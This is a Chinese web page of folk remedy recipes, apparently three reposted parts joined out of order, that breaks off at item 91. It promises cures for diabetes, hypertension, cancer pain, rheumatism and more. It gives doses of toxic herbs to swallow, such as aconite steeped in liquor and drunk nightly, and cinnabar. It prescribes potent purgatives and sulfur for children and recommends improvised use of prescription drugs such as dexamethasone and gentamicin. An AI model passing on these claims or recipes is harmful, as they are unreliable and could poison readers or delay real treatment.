(内服)大黑豆500克,水1000克,将黑豆洗净,放入砂锅内加入水,以文火熬煮,等黑豆饱胀后,取黑豆使其阴干,再撒细盐少许,贮于瓷瓶内。每次服6-9克,一天2次,温开水送下。

(外用)中药骨碎补(猴姜)用水浸软后,用它擦拭头皮和以上内服方配合使用,可以加强效果。


大黑豆 

108.头屑:

用侧柏叶50克,加2斤水煮出汤汁洗头,洗过后不用清水过,洗后头皮有很常清爽的感觉,也不会使头发干涩。

109.口腔溃疡:

①导赤散。

②生地10克,竹叶5克,连翘10克,黄连1.5克,麦冬10克,白茅根15克,生草梢5克,用水煎服,一天一剂,3-4天全愈。

③大枣10个,绿豆30克,生姜5片,羊肉120克,加一点盐,吃肉喝汤,3-4天可以好。重症用一星期或一般用7-15天即可(特效)。

④外用:细辛10-20克研末,用水调成糊剂,加蜂蜜10-20毫升,放脐窝中,用纱布盖好并用胶布密封贴3天。

⑤用甲氰米胍(西咪替丁)一片研末撒在溃疡处,一般一两次即愈。溃疡撒上药后,至少让药保留三十分钟不要合上嘴,因为合上嘴容易产生唾液将药粉冲掉,从而无法达到效果。

110.牙痛:

清胃散:生地黄10克,当归10克,丹皮6克,黄连5克,升麻5克,生石膏20克,水煎服,主治红肿热痛的实火,三天见效。

111.口臭:

泻黄散:霍香叶20克,栀子3克,石膏15克,甘草45克,防风60克,研成末,每次服3-6克。也可用水150毫升,煎好后温服。

112.减肥:

①干荷叶和冬瓜皮1:2的比例;

②芡实、金银花、莲藕各一斤,蒸熟晒干研末,每次服20-30克,1~2勺。

113.类风湿、风湿:

川乌4钱,草乌4钱,川牛膝4钱,人参4钱,肉桂4钱,白虎骨一块(没有可不用)60度白酒3斤,寝泡10天,每晚喝一小盅。

114.每天给肺洗个澡:

琵琶叶,桑白皮,淡竹叶各10克,开水冲泡即可。肺气不足,嗓干,口渴都可喝。清心、除烦、润肺、养血功效。

115.肺燥引起鼻炎、鼻息肉:

木香5克,辛夷花10克,白芷10克,薄荷10克煎水,锅开产生的蒸汽,用硬的牛皮纸做成一个喇叭状,大头扣住容器,小头收集气体,吸气体,头在放在外呼出去,反复做,通过肺部排出去。轻者一周至10天,重者时间长些。

116.胆囊炎:

把红菇娘的皮扒掉后,用蜂蜜浸泡七天,然后早上饭前晚饭后吃六、七粒菇娘。最后把剩下的蜂蜜也喝掉。

117.乳腺增生:

牛蒡,叶,茎煮水喝。


牛蒡,叶,茎煮水喝 

118.保护心脏小方子:

三七粉+西洋参粉+丹参各等量,混合均匀。每日温水冲服,用量根据病情增减,一般人每日服用一克即可。

119. (内风)香囊:

养生堂丨针对身体内风的平衡问题,傅教授现场教给了大家制作香囊的办法,通过外治的调理,多呼吸一些具有芳香气味的药物,来平衡身体的风。肉桂9克,丁香9克,白芷9克,石菖蒲9克,乳香9克。

半粉碎(内风)香囊:

养生堂丨针对身体内风的平衡问题,傅教授现场教给了大家制作香囊的办法,通过外治的调理,多呼吸一些具有芳香气味的药物,来平衡身体的风。肉桂9克,丁香9克,白芷9克,石菖蒲9克,乳香9克。半粉碎

120. (外风)香囊:

养生堂丨针对外风,增强自身抵抗力,专家也给出了一个小方法,也是制作成香囊。苍术9克,白芷9克,防风9克,辛夷9克,桂枝9克。半粉碎。

121.消渴:

养生堂丨调治消渴(糖尿病)的方剂:黄精20克,煮水20分钟后待用;将天花粉、山药粉、百合粉,各1勺,用黄精水冲调药面,搅拌成糊状,早晚温服。此方:适用于糖尿病、老弱病后及脾胃虚弱者服用。

122.健脾开胃散:

取一粒健胃消食片或补中益气丸捣碎,填入肚脐,用医用纱布和医用胶布固定;每次贴12个小时,然后休息12个小时。

123.高血压泡脚药方:

九节风20克(可换成防风20克)+钩藤40克+夏枯草30克+桑叶20克+菊花20克+鬼针草20克+两面针20克+罗布麻20克。

124.开胃食疗粥:

延年益寿羹。开胃口、护胃气。枸杞子10克,芝麻10克,山药50克,银耳15克,莲子肉20克。熬粥,一天食用,开胃口,提高免疫力,延缓衰老。

125.手脚凉冷及冻疮:

瑶族泡脚药方丨鸡血藤30克,艾叶50克,防风50克,花椒40克,忍冬藤40克,干辣椒30克,桑寄生40克

126.糖尿病偏方:

玉竹水:作用:降糖,滋阴养肝,解馋(味甜)制作方法:玉竹9克煮水15~20分钟即可

127.虚火牙痛,要吃胡椒炖鸡蛋:

胡椒炖鸡蛋制作方法:制作胡椒炖鸡蛋很简单,就是用清水煮一个荷包蛋,起锅之前撒点胡椒粉就可以起锅了。

128.肾型亚健康

核桃仁3克,枸杞6克,生薏米3克,生花生仁3克,杏仁3克,黑芝麻6克。泡茶饮或打成粉做成糊吃也可以。七日为一个疗程,

129.灯芯竹叶汤:

疏解肝气。灯心草3克、竹叶3克,熬水,当茶喝。


灯心草 

130.手掌偏红的人:

手掌偏红的人可以在日常服用菊花粥,能够清热泻火降压。

131.适合所有人服用的调肾茶:

枸杞子、决明子、白扁豆、山药、茶叶(最好是普洱,铁观音)等量,用开水冲泡。

132.胃疼:

丹参泡脚:丹参6克,熬水,再放进泡脚的温水里,每日泡脚20分钟。尤其是在经期用丹参泡脚效果最好。

133.胃下垂:

前6种药打成粉+辅料打成粉+水煮成糊,也可打成浆用。 3-4天吃一次可内调身体。

134.踮脚补肾:

锻炼方法:站立,双手放在背部命门穴位置,手心相对,踮起脚跟,脚尖贴地,再踮起脚跟,再轻松放下,持续5分钟便可,每天可以锻炼5~6次为佳。

135.膝盖疼:

自己常按按风府穴慢慢就会好的。 (风,凉,寒都可)。


风府穴 

136.去湿气的方法:

取一张24×20厘米的宣纸,对折,将调好的芥末面摊在其中一半宣纸上,然后将另一半宣纸覆盖(两层宣纸中间夹着芥末面),即成。在纸微温的情况下,竖放在胸椎两侧的肺区,然后用毛巾盖好,大约3-5分钟,当病人背部有很热而且刺痒的感觉时即可揭下,背部敷过芥末纸的地方会有些发红。即可取下,每日临睡前做一次,有很好的止咳、祛痰、散寒的功效。

137.气虚:

补心养生散,西洋参1份,灵芝2份,共研为细末,每日早晚服用一次。

138.治疗老寒腿:

土谨皮粉100克,地肤子50克,蛇床子50克,苦参50克

139.化瘀代茶饮:

化瘀代茶饮:生山楂5克,玫瑰花5克,煎水代饮,每日两次,早晚服用。

140.上火:

针对初上火、舌色稍红,推荐用“三鲜饮”清热祛火,防止更严重情况的发生。取鲜藕120克,鲜茅根100克,鲜梨1个,藕切薄片与茅根同煮,文火熬30分钟后滤渣取水,再将鲜梨榨汁兑入饮用即可。

2021-01-06 / by / in ,
太珍贵了!140个小方子,转发一次,救人无数~建议收藏(上)

偏方/简单/验方/常用方/保健方

今天介绍给大家治百病的好方法,如果你觉得好,那你就和朋友分享吧,140个小方子,分上中下3个部分。

1.清理血管壁的好方子:

丹参、天麻、三七、山楂、西洋参、瓜娄壳、何首乌这七味药各等量,放在一起打成粉,每天早晚一小勺,(胶囊可5粒)坚持吃3~5个月。

2.调节虚寒体质方子:

干姜,肉桂,蜀椒。1:1:1的比例,3味药等份混合打成粉,装入两层(袜子,手套,帽子)之间,盖发凉发冷的部位就行了。

3.各种骨刺:


用干皂角捣碎加最好的山西老陈醋合成糊状指骨刺 

用干皂角捣碎加最好的山西老陈醋合成糊状,贴在患处。每次可用半小勺多,后固定好,上面用热宝加热。

4.预防血脂的升高和缓解轻度血脂高代茶饮方子;

山楂20克,红曲10克,决明子15克,开水冲泡,代茶饮。

5.小孩尿床:

硫磺4克,益智仁4克,带须根大葱。碎粉用黄酒调匀,温热后贴于肚脐,用胶布固定,贴2-3小时,每日2次。

6.治心肌缺血方:

五味子,桂圆肉,丹参各3两,红参须,红花各1两,红枣半斤,共分成3份煎成药汁,每天随意喝。

7.心阴虚失眠,手足热:

天王补心丹,六味地黄丸合用很好的。

8.小米粥可控制糖尿病:


小米粥可控制糖尿病 

每天早晨煮一碗小米粥,要煮的干一点,里面放点核桃仁,枸杞子,又补脑,又补肾,又不升糖。

9.强筋壮骨茶:

枸杞10克,大枣(炙烤)3枚,菊花5朵。开水冲泡代茶饮。

10.胃溃疡,胃粘膜脱落:

用猪蹄2-4个煮烂,沾白胡椒面(几岁就用几粒,研成面,分成7包),每天早空服一次,大约7天。

11.肾气不足阴虚手足热、盗汗:

女贞子,益智仁打成粉,贴于肚脐。

12.十滴水滴肚脐,寒热两邪通吃:

把十滴水滴在肚脐里,外面用医用纱布和医用胶布封盖,12个小时以后取下。肠胃容易受寒,呕吐或腹泻。既能祛寒,又能祛火,一滴入脐,正好对付暑天之火和食物之寒,寒热两邪通吃,治疗夏天出现的肠胃问题,效果特别好。

13.疼痛不舒服:

最好自己有一张人体穴位图。当觉得身体那里疼痛不舒服的时候。就用红花,栀子,莪术各等量打成的药粉,调成膏状。敷在最痛的穴位上。

往往刚刚敷上药,疼痛就减弱或者消失。很是神奇。因为出现疼痛,都是因为这一条经络不通的缘故。这三味药都有行气活血的功效,可以疏通经络的阻碍。所以见效。

14.专治骨刺:

生棉花籽,小黑豆(药店有售)研细末。取生棉花籽的1份,小黑豆的半份,加一起上锅炒熟,后边炒边加(食用醋)不要太稀不要太干,炒好后把药装进布口带里,晚上贴在患处,凉了可用微波炉加热,或热宝加热,早晨拿下来。有风湿的,腰突的都可试用。

15.大枣护肝脏:

大枣护肝脏 

大枣20~30克,花生仁10克,冰糖适量,一起煮烂,这是一天的量。

16.气血双补:

主要是调理气血,调理经络,通经活络。中医讲气血调和就百病不生,人的生病主要是气血不和,关键在于和,所以这杯茶下去,不单是头昏方面好了,身体方面、皮肤方面实际上都有一定的好处的。

黄芪10~5克,西洋参3~5克,枸杞子6~10克,黄精10克。把药放到茶杯里,冲入开水,然后盖上盖子,闷5~10分钟就可以了。一天一杯,水没了就续一点,最后把杯底的药材吃掉。煎泡都可以,(水可加没味为止)

17.冬季养生汤五仁参芪汤:

核桃仁3克,花生仁3克,杏仁3克,枸杞子克,生薏苡仁3克,生人参3克,黄芪3克。将配料放入杯中泡水即饮用即可。

18.降压秘方(有降压,降脂,强心三降之功效):
取葛根,地骨皮,丹参,山楂,牛蒡各三克,放入一个保温杯内,取刚开的热水冲泡,大约半小时就可饮用,早饭后一杯,午睡过后一杯,晚饭后溜达回来一杯,每天三杯坚持饮用。如果有潮热盗汗、肺热咳嗽这些症状,就可以用地骨皮煎水来服用。

19.所有疼痛:

所有疼痛都可以用它进行缓解,比如风湿、类风湿性关节炎、骨关节炎、通风、跌打损伤等。哪疼擦哪(外用)各种癌症的疾病。

麝香1克草红花10克血竭、乳香末药各3克川乌、草乌各2克丹参、苏木、七叶草、土鳖虫、地龙、川芎各10克用500克二窝头(55~65度酒)浸泡,密封。每天摇动几次。1~2个星期后可用于擦前胸后背止心痛,或用于心绞痛急救外擦。按着顺序放到瓶里,最后加65度白酒泡2周,(1斤北京二锅头)没过药,每天摇3遍瓶子,用时涂上。冠心病擦前胸后背的位置。

20.治疗胃溃疡:

海螵硝4克,一点血4克,水田七4克。带须根大葱。碎粉用黄酒调匀,温热后贴于肚脐,用胶布固定,贴3-4小时,每日2次。

21.阴阳同补的膏方:

炙黄芪150克、枸杞100克、女贞子100克、黄精100克。(慢煎)

22.脑动脉硬化:

山楂,核桃肉,蜂蜜各30克(核桃肉加水泡30分钟,打浆,山楂加水煮熟,取汁,把山楂汁,核桃肉浆,加蜂蜜,煮开即可)每天一剂,补肾健脑,调血脂,助消化。


核桃肉 

23.三叉神经痛偏方:

老母鸡一只去五脏,红参20克、天麻20克、红蚂蚁20克、金钱白花蛇2条、海龙1条、桃叶7片、柳叶20片。把这些药用纱布包好塞到鸡肚子里煮好,吃肉喝汤,分2~3次吃完。药一定要到正规药店买。

24.阴阳双补的方法:

桂枝5克,芍药5克,甘草5克。

25.气血双补黄芪大枣汤:

生黄芪:15克、大枣:5枚。将黄芪和大枣洗净,放入砂锅内,加两碗清水,盖上锅盖,先大火烧开,再转小火煮半小时,弃渣喝汤,每周饮用2~3次。如果气虚、气短比较严重,可将生黄芪换成炙黄芪,补气功效更强。

26.牛皮癣:

肉桂200g研为细末,装入瓶内密封备用,用时根据病损大小取肉桂末适量,用好米醋调成糊状,涂敷病损处。2小时后糊干即除去。若不愈,隔一周后再依法涂敷1次。

27.头痛:

①白芷,羌活1:1打成粉,装胶囊,一天2-3次。

②川芎15~20克,茶叶6克,水煎,饭前热服。行气活血,祛风止痛。

③菊花枕,选用菊花干品1000克,川芎400克,丹皮、白芷各200克,装入枕套内,使药物缓慢恽发,一般每个药枕可连续使用半年左右。

28.伤口感染:

用蜂蜜治久治不愈的皮肤溃疡和各种久治不愈的伤口感染。如伤口有感染征象,可加庆大霉素针合用于蜂蜜中,可起到直接消炎的作用。临床治疗病人近千例。


伤口感染用蜂蜜 

29.肿瘤疼痛

养生堂丨用丁香、蝎子治疗肿瘤疼痛立竿见影。对于其他疼痛也有效。脖子疼肩膀疼腰疼腿疼的都可以用。实在不好配这个药,2:1的比例也可以。用生姜擦贴面,可以打开毛孔。时间是4~6小时,用后温水洗净即可。

30.高血压:

吴茱萸、川芎各等份,碎成细末,先用75%酒精棉球消毒肚脐,将药粉5~10克放入肚脐中,外以麝香壮骨膏固封。3天换药1次,1月为1疗程。

31.护眼、飞蚊症:

100克霜桑叶,100克生黑芝麻,加蜜揉在一起,早晚各10克盐汤送服。可以有效缓解眼部过度疲劳,眼睛干涩,视力下降,飞蚊症,肝火上升,电脑辐射和电视辐射引起的眼部疲劳等问题。日常用眼还需注意,比如电视机屏幕要放低,避免眼泪的大量挥发,眼药水尽量少点。

如果发生了眼睛过干的问题,可以用30克石斛,菊花10克,有条件可加一根冬虫夏草,熬水喝。

32.缓解干眼症日常熏方:

把金银花9克、紫草9克、蒲公英9克、菊花9克一起放入砂锅中,泡20分钟后,大火煮开,然后小火煨15分钟,关火前一分钟,再把薄荷5克倒入锅中,待热气稍微散去后,准备一个塑料片,剪开一个孔,在锅的正上方5厘米远处,把眼睛闭上熏蒸,每次熏蒸持续15分钟。不要靠的太近,以免烫伤。眼干的症状就会缓解了。

如果不方便,也可以把煮沸后的药水,倒在保温杯里,一只一只来熏眼睛。干眼症熏方,可以让堵塞的脸板腺张开,排出脏东西,以便脸板腺正常分泌油脂。来润滑眼球的表面。

温馨提示:如果您的眼睛不舒服,请及时就医,以免恶化。

33.新的眼保健操:

太阳穴轮刮眼框→揉四白穴→揉风池穴→按百会穴→捏耳垂。

34.自汗,盗汗,遗尿:

用五倍子打成粉贴在肚脐上。


五倍子 

35.治血脂稠:

①枸杞子10克,何首乌,草决明,山楂各15克,丹参20克,水煎服,每日两次,四个疗程治愈,(七天为一个疗程)。

②山楂、银杏叶(药店售,不可摘取新鲜树叶)、绞股蓝各15克,泡茶喝。连服四疗程(半月为一个疗程)

36.外痔:

每次用藿香正气水2支加凉开水1000毫升,以药棉擦洗,每日2次。在炎症期发作时有消炎止痛之作用。

37.尿酸高(720):

苹果300克,胡萝卜300克切碎打汁。加点蜂蜜饮用,约半个月。

38.肩周炎:

用独活寄生丸治疗肩关节周围炎患者73例,每次1丸,日服3次,10天为1疗程。结果73例中痊愈者69例,好转者3例,无效者1例,总有效率为98.6%。

39.胆囊炎:

用秋天收获的干黄豆皮(干豆夹)煮水喝。

40.手脱皮:

用维生素c注射液擦(搓搓)手,双手对搓,然后将液洗掉,每日2次,3天一疗程,一般一次显效。

41.固本春寿酒:

自制药酒,就可以达到延年益寿。人参30克、熟地黄30克、丹参50克、生地黄30克、枸杞子30克、五味子10克、麦冬30克、山药30克、莲子肉30克、红枣30克、龙眼肉30克、白酒4000毫升。泡14天可饮,饭后半小时,每天2次,每次1-2小杯。肾气不足、脾胃虚弱、淤血阻滞。


人参 

42.强筋壮骨药酒:

骨碎补50克,补骨脂50克,杜仲50克,牛膝50克,枸杞子50克,黑大豆50克,胡桃肉20枚,大枣20枚,白酒4升。大豆炒香,与它药共研粗粉,大枣掰碎,装入纱布袋中,扎口,置入白酒中,浸泡15日后,过滤,去渣饮用药酒虽好,服用也不能过量,一般每天两次,饭后半小时服用15毫升就可以了。

另外药酒也不能与西药同服,酒对肝脏内影响西药代谢的酶有作用,从而影响西药的疗效。

43.防治痰湿的方子:

养生堂丨生山楂10克、茺蔚子5克、红花3~5克,决明子3~5克,煮水或泡水喝。(注:如果是大便稀经常拉肚子,去掉决明子;如果大便特别干,则可适当加量)。

44.退烧奇方,立见奇效:

①999感冒冲剂加鲜姜,用开水泡一泡,喝下去立马退烧。

②用10克荆芥开水煮5分钟,加板蓝根冲剂,喝下去,大约30分钟后微微出汗,就好了。

③蚕砂10克、竹茹10克、陈皮10克煮水开后3–5分钟,一般一次就好,重者2~3次就退烧了,就不用喝了。

45.眩晕证:

①泽泻60g,白术30g。脑动脉硬化症加丹参、川芎各15g,三七5g;

②高血压病加桑寄生、石决明各30g,菊花l0g;

③高脂血症加山楂、半夏、茯苓各15g。每日1剂,水煎服,早晚各1次,以15天为l疗程。

46.排除体内湿气的方法:

喝薏米红小豆粥(用豆浆机做也可):单纯的薏米赤小豆汤味道很一般,加上桂圆后,就变甜了,淡淡的甜味,它不仅驱散我们体内的湿气,而且给我们的心带来生机与温暖。

47.手足皲裂湿疹:

外治疗法也是治疗手足皲裂湿疹的有效疗法。通过中药的养血、活血、燥湿、止痒改善局部皮肤微循环,达到治疗角化过度和皮肤皲裂的效果。常用外敷的简易方。平时就算没有手脚皲裂,也可以用来护肤增白,这个方子叫二白散。

二白散:白及粉2.5克、白鲜皮粉2.5克,一盒20克的氧化锌软膏,橄榄油适量,调成酸奶样稠度的膏剂。轻者可以一天一次,一次用药30分钟,重者可每日两次,每次用药两小时,更重者还可以封包。

48.巧治褥疮:

京万红软膏一只,在取10粒速效救心丸研粉,调均备用。先清洗创面,在用配好的药膏均匀的涂于消毒纱布上,在敷在疮面上。轻度5~7天可痊愈,重者20天左右即可痊愈。


京万红软膏 

49.灰指甲和脚气:

醋泡方对于灰指甲和脚气等有很好的疗效。醋泡方:土槿皮10克青木香10克苍耳子10克用一斤陈(米)醋浸泡一周,涂抹患处每日两次,坚持用药。

如果是治疗灰指甲就先用锉,锉指甲表面,然后用棉球蘸着药液敷在上面,半小时左右即可。一般1~3个月转好。但严重的灰指甲的治疗就得配合口服抗真菌药共同治疗了。

注意:有过敏,溃疡,不舒服感觉要立即洗掉。

50.辛香酊早泄灵:

细辛、丁香各20克,90%乙醇100毫升。将两药浸泡入乙醇内半个月即可;使用时以此浸出液涂擦阴茎之龟头部位,经1.5~3分钟后即可行房事。

2021-01-05 / by / in
太珍贵了!140个小方子,转发一次,救人无数~建议收藏(中)

偏方/简单/验方/常用方/保健方

今天介绍给大家治百病的好方法,如果你觉得好,那你就和朋友分享吧,140个小方子,分上中下发表。

51.头部的脂溢性皮炎:

自制香柏波。洗发液200毫升,香附、侧柏叶各20克的颗粒剂,将香附和侧柏叶的颗粒剂倒入洗发液中,充分摇晃5分钟以上,然后静置24小时以后再使用。

52.自制甘油润肤水:

开塞露和纯净水以1:2的比例混合,直接涂抹在皮肤上就可以了。因为开塞露的主要成分是高浓度大分子的甘油,所以能把别的地方的水分吸附到肠道,起到增水行舟的作用,就能通便。而我们不是把开塞露直接抹在脸上,而是经过加工稀释后再使用,它就能起到很好的增油补水的作用,能恢复皮肤弹性起到抗衰老的效果

53.气血双补法:

黄芪,当归粉冲水喝补气补血,两三个月就有效果了,效果非常好,也可加点红枣.枸杞.黄精进去,以每天5克量熬浓汁冲水喝更好。


黄芪 

54.一般失眠:

千年陈樟3克,沉香3克,首乌5克,朱砂3克,莲子打成粉或打成泥,黄酒调匀,带须根大葱,温热后贴于肚脐,用胶布固定。

55.小孩便秘:

黑白丑4克,甘遂4克,大黄4克。碎粉用黄酒调匀。带须根大葱,温热后贴于肚脐,用胶布固定贴3-4小时,每日2次,

56.软组织挫伤:

如果仅仅是腰部软组织的损伤,疼,可以选择下面的药酒方进行擦搓,一天两到三次,以发热为度。丁香10克,茴香15克,红花10克,樟脑15克。白酒300克,泡7天后在腰部进行擦搓。

57.颈肩软组织疼痛:

三子湿热灸。可以按照下面的配方制作成和自己颈部宽度适宜的药包。吴茱萸60克,莱菔子60克,苏子60克,白芥子60克。上锅蒸热半小时后用毛巾包裹敷患处,一天1-2次,冷却后可以再次蒸热,反复使用。

58.痹症疼痛:

外敷的方法对于痹症疼痛,天麻也有很好的疗效,可以采用天麻通络散外敷的方法进行治疗。用天麻20克,南星15克,草乌15克,川椒10克,细辛5克,鸡蛋清1个,白酒适量,搅拌均匀敷在患处。15–20分钟即拿下来。(皮肤发热发痒即拿下来)。

59.关节炎:

白芥子15克,花椒15克,共研为细末,再用黄壳鸡蛋清调成糊状敷于患处,用油纸包好,再用毛巾包扎。包好后3-5小时即可解开。效果不错。


白芥子 

60.血虚气虚:

推荐人参养荣丸,它出自宋代的官方药典《太平惠民和剂局方》。人参养荣丸重在健脾养血,偏于温补,最适于久病体虚气血不足,以面色萎黄,形体瘦弱,食欲欠佳为主要表现;

还可用归脾丸或八珍颗粒。归脾丸偏于养心安神,另外还具有引血归脾的作用。八珍丸是一个平补气血的方子,能够调和荣卫,滋养血气。

61.体虚怕冷(特别是中老年朋友):

大枣5~6颗;枸杞7~8颗;桂圆4~5颗;红糖1小块。每天晚上熬水喝。以上原料既可以说是中药,又是我们平时的食品,所以没有副作用。

62.鼻出血:

用白茅根煮水喝(泡水也可)。

63.膝关节寒冷小方:

可以用姜粉和面粉1:1,调成糊状,摊在宣纸上,然后敷在发凉的关节上面,10到15分钟,治寒湿。

64.辛凉化湿健五脏:

①清心火:

竹叶1克,灯心1克煎代茶喝。

心火旺症状:口干口渴、心烦易怒、睡眠不安、盗汗、口腔溃疡、尿黄等成人也可以这个代茶饮清心火,还可以用竹叶灯心汤送服其他安神药帮助睡眠。当然最好是针对心火旺的失眠多梦、烦躁易怒,成人用量可以多一些。

②肾的湿热:

根荷叶代茶饮方子:茅根20克,荷叶10克,水煎服,代茶饮,喝3~5天停几天再喝。还有减肥作用。

肾湿热早期症状:感冒后,眼睑肿;腰酸腿肿乏力;形体特征:偏胖或消瘦;常感口干口苦、眼睛红赤、心烦懈怠、小便赤短、大便燥结或黏滞。

③缓解肝部湿热可以用的方子:

佛手10克、生麦芽15克、生山楂6克、2粒冰糖。代茶饮。胃口不好,可以用生麦芽代茶饮:生麦芽10克~15克

肝部湿热症状:舌苔厚腻,加上嘴里有干苦的味道,口气不好,容易发脾气。

④清肺热:

方法:芦根30克,梨1个,榨汁。成人糖尿病可以喝一些(判断肺热最主要就是看脉浮数、嗓子红肿、大便秘结和舌象。舌象上会有什么表现呢?舌质红,舌尖红,舌苔厚腻。)

⑤脾胃热证,口鼻生疮、口臭、面部和头发出油、两颊通红、目赤、大便干燥等症状。
有效地消胃热、祛口臭(脸上长小痘痘,口腔溃疡):竹茹10克、橘皮10克,煮水(或用热水沏一下)代茶饮7天。忌口:饮食清淡。

65.手抖,脚抖:

一个泡手、泡脚的方子:对于筋脉受损,气血瘀滞而出现的筋骨肿痛拘挛、关节屈伸不利症状的人(帕金森,手抖,脚抖也可用毛巾侵药液敷脚)。

舒筋止痛洗剂:花椒30克、透骨草30克、红花10克、大盐50克、白酒4两,加水1000毫升,煮沸10分钟。可以使用这个洗剂,能达到舒筋活血、消肿止疼的效果,煮沸10-20分钟,每天泡2-3次,需泡20分钟,不烫为宜。还有一个小动作:两手心向前,手指张开,左右摇摆100下。

66.便秘:

喝一小碗自配饮料:把开水倒在小碗里待温时加(1小瓷勺蜂蜜,1小瓷勺陈醋)搅拌均匀,坚持每天早6-7点间喝,非常好。

67.预防风湿的小方剂:

这个方剂适合有风寒湿的患者服用,但是如果同时患有高血压、糖尿病等症的患者就不能服用了。

川牛膝20g、木瓜30g、独活20g、莪术20g、千年健30g、红花10g、元胡30g、寄生30g。以上药物洗净后控干,放置于玻璃容器当中,加入可使用白酒2000ml,浸泡2周后即可使用。

68.眼睛干涩:

针对眼睛干涩专家给大家推荐一个简易的中药药袋,里面放置中草药,采用中药热敷的方法,经加温后的方法来治疗眼睛干涩。

枸杞子4g、菊花4g、木贼3g、女贞子5g、旱莲草5g、生地黄4g,将以上中药放入药袋中,隔水蒸10分钟。待温度降至双眼可承受的程度时放置在双眼上,闭目约20分钟,每日一次,适合长期使用。但需要注意的是防止烫伤局部皮肤,同时患有严重眼部疾患,或眼部皮肤破损者不宜使用。


枸杞子 

69.干燥综合症:

中药润肤液,白芨5克,珍珠粉1克,杏仁露240毫升,牛奶100毫升,开塞露1小瓶。放在一起调和均匀,洗后擦在皮肤上即可。

70.水肿:

①用四两红小豆,熬水当茶饮,喝数次,很快消肿。(肾虚)

②茯苓10克,肉桂5克熬水喝(腿,脚,眼等肿)

71.湿疹:

复方新诺明2-3片,研粉,1管地塞米松,混合(干加点水)1-2天即好。

72.脚跟疼:

中药针麻20克,湖脑50克,捣碎混合一起,分5份装小布布袋里,每次用1袋,垫在脚跟疼的点上,1周1换药,大约4-5次即愈。

73.青葙子治疗高血压:

每日取青葙子30克,水煎二次,取汁混匀,分3次口服,疗程一周,血压即可降至正常。

74.补气养血功效的食疗方:

五红汤:红小豆,红枣,红衣花生,枸杞子各30克,红糖适量,加水500-800毫升,煮半小时左右,适合肝血不足的人群,长期患有慢性病,或肿瘤放化疗手术后体质虚弱人群,尤其适宜服用五红汤补血。

75.治疗手脚冰凉、怕冷的偏方:

1克花椒粉、4克胡椒粉混合后拌匀,取适量填肚脐里,尽量塞满,外用风湿用的胶布固定住,三天换一次。也可以用适量黄酒调匀,搓成丸放肚脐里,外用胶布固定。一定要密封好,不能外露。此方老幼皆宜,而且对肠胃不好也大有益处。

76.补血良方:

四物汤:当归、芍药、熟地黄、川芎各15克,加水3碗,取1碗。空腹热服,是补血最重要的处方。

77.补心气用生脉饮,心肺同补:

补心血用归脾丸,心脾同补。既补心,又补与心有关系的其他脏腑,这样的效果是最好的。

78.肝郁化火:

现代肝郁的病人比较多,而且很快就能发展到“肝郁化火”的阶段,呈现出气血有热的症状,比如性格急躁、失眠、口苦、舌苔黄腻、眼睛白眼珠上发黄或血丝很多,等。

这时候,就要用加味逍遥丸了,它疏肝解郁,可以及时打开我们的心结,达到逍遥自如的境界;它还可以清热,使我们心里的无名业火迅速扑灭,进入清凉的国度。

79.补脾养中气:

养脾最核心、最重要、最通用的中成药是参苓白术丸。参苓白术丸的主要成分是:炒白术、人参、茯苓、甘草、山药、炒白扁豆、莲子、炒薏苡仁、陈皮、砂仁、桔梗。这是一个精巧无比的养脾奇方,服用参苓白术丸一段时间后,胃口会变好,这是脾脏功能恢复的标志。

这时候,千万不要大快朵颐,想吃多少就吃多少,这样会增加脾的负担,甚至前功尽弃。最好吃个八分饱就行了。等到脸色开始转变,不再那么蜡黄了,开始有血色的时候,就可以停药了。开始停药的时候可以改为每天一次,两三天后再改为隔一天一次,最后,如果没有出现反复或异常,就可以完全停药了。

80.血液淤滞:

生打就是吃生三七粉,而不是制三七粉。生吃的方法适合有瘀滞的人,判断瘀滞最简单的方法就是看舌下。因为舌下有两条筋,如果出现紫黑色就是有瘀滞的表现。生用法:口服,每日1~1.5克。

81.养心阴心神:

操心就要耗费心血,心血亏虚的时间长了,就会继续深入,造成心阴虚。天王补心丸是既养心气,又养心血;既养心阴,又养心神,可以说是面面俱到的养心药,是养心药里的王牌。

82.治疗和预防脑中风的小秘方:

牛黄祛风汤。地骨皮10克、丹参10克,以上药物煎汤冲服牛黄或人工牛黄1克。如果热像明显的人还可以加3克竹沥水。

平时吃一些核桃、山楂、三七粉也可以起到养脑、健脑的作用。核桃每天吃2-4个,食用过多会碍胃。每天还可以用5~6片山楂泡水,冲服三七粉1克。

83.风湿,脾虚寒,鼻窦炎:

用艾叶和白酒捣成一厘米厚,三厘米宽的圆糊饼状,贴在肚脐上,不过十来分钟,本来闻不到香气的鼻子就闻到了香味,鼻窦炎一般都是元气不足,寒凝鼻窍所致,而艾叶理气逐寒,通过白酒助力,定能把寒气驱散,恢复元气,特别是肚脐这个地方,对风湿,脾虚寒等症应该也有特效。


艾叶 

84.针对外感和内伤引起的腰痛的小方:

方中的八味药兼顾补肾、行气、活血、止痛的功效,搭配全面。治疗腰痛小方:骨碎补10克,补骨脂10克,藏红花1克,血竭3克,蟞虫粉10克,巴戟10克,威灵仙10-15克,独活10克。

85.各类疼痛:

外用药酒方“灵仙止痛酒”,此药酒适用于各类疼痛,内服外擦,效果更加显著。

灵仙止痛酒(外用)配方:雷公藤9克,川草乌5克,细辛5克,乳香15克,没药15克,土蟞虫15克,白芷10克,骨碎补10克,威灵仙30克,青风藤10克,海风藤10克,羌活10克,草红花15克,川芎9克,全虫(蝎子)3克,蜈蚣3条。1000毫升52度到65度二锅头浸泡一周后取用。。

86.前列腺生:

一天3顿粥,(200毫升)一小碗,吃8个月就正常了,薏米仁30克、红小豆10克、芸豆、紫米、糯米、枸杞、山药。

87.奇效头痛散:

川芎15g、天麻10g、细辛10g、白芷10g、田七10g、,葛根15g、,白芍20g。主治治疗各种慢性头痛,偏头痛.如现代医学之血管性头痛,神经性头痛等.药物低温烘干,粉碎成细未,过细目筛。日服3次,每次3g,温开水冲服)。

88.单纯的痛风:

只需秦皮10克、络石藤10克。水煎服,1日三次。(降尿酸)

89.前列腺炎:

可以缓解因前列腺炎所导致的疼痛。还可以用于治疗冷凉腹痛,小儿腹泻,男女老少都可以使用,没有副作用。

一个贴敷在肚脐上的小方子丁桂散:丁香0.3克。肉桂1克研粉(1:3)加食醋拌用手捏成团,贴敷在肚脐上,固定。冷天7~8小时,热天3~4小时(每天一次,一般贴一周)

90.前列肥大:

白胡椒15克,细辛15克,研末,取药3克,放脐窝中,外以麝香壮骨膏固封。3天换药1次,10次为一疗程,后停2天继续下疗程,(前列腺肥大,小便淋漓,难解而无湿热者有较好的疗效。

91.气虚阴虚:

